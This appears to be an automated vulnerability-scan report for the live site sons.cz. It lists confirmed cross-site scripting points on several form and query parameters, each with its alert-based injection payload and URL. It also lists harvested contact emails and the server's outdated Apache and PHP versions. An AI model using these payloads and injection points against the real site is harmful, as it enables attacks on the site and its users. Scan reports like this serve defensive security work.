sons.cz

http://www.sons.cz/

XSS (Cross-site Scripting)

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Nahled_akce.php?d_act_name='"--></style></script><script>alert(0x000D8F)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_name
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000D8F)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Ob_formular_akce.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_beg_day
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000D7F)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Ob_formular_akce.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_beg_hour
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000DCE)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Ob_formular_akce.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_beg_minute
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000DFA)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Ob_formular_akce.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_beg_month
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000E58)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Ob_formular_akce.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_beg_year
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000EC4)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Ob_formular_akce.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_description
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000F02)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Ob_formular_akce.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_email
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000F56)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Ob_formular_akce.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_end_day
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000FB3)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Ob_formular_akce.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_end_hour
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x00100B)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Ob_formular_akce.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_end_minute
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x00107A)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/posp/prihlasit.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: adresa_zajemce
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x0010BD)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Ob_formular_akce.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_end_month
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x0010DB)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/posp/prihlasit.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: adresa_zamestnavatel
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x0010F5)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Ob_formular_akce.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_end_year
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x001100)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/posp/prihlasit.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: dotaz
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x001104)</script>

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.sons.cz/akce/Formular_akce_op.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: d_act_description
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x0015F2)</script>

|||  E-mail Address Disclosure

Severity :  Information
Confirmation :   Confirmed
Vulnerable URL :  http://www.sons.cz/kontakty.php
Found E-mails:

sons@sons.cz
info@sons.cz
prezident@sons.cz
dudr@sons.cz
sia@sons.cz
pomucky@sons.cz
digitech@sons.cz
zora@sons.cz
internationaldep@sons.cz
volejnik@braillnet.cz
info@vodicipsi.cz
prodejna-ol@sons.cz
prodejna-pha@sons.cz
zdroje@sons.cz
sons@braillnet.cz
web@braillnet.cz
pomucky@braillnet.cz
info@braillnet.cz
info@brno.braillnet.cz

|||  Apache Version Disclosure

Severity :  Low
Confirmation :   Confirmed
Vulnerable URL :  http://www.sons.cz/
Vulnerability Classifications:  PCI 6.5.6 OWASP A6
Extracted Version: Apache/1.3.36 (Unix)

|||  PHP Version Disclosure

Severity :  Low
Confirmation :   Confirmed
Vulnerable URL :  http://www.sons.cz/
Vulnerability Classifications:  PCI 6.5.6 OWASP A6
Extracted Version: PHP/4.4.4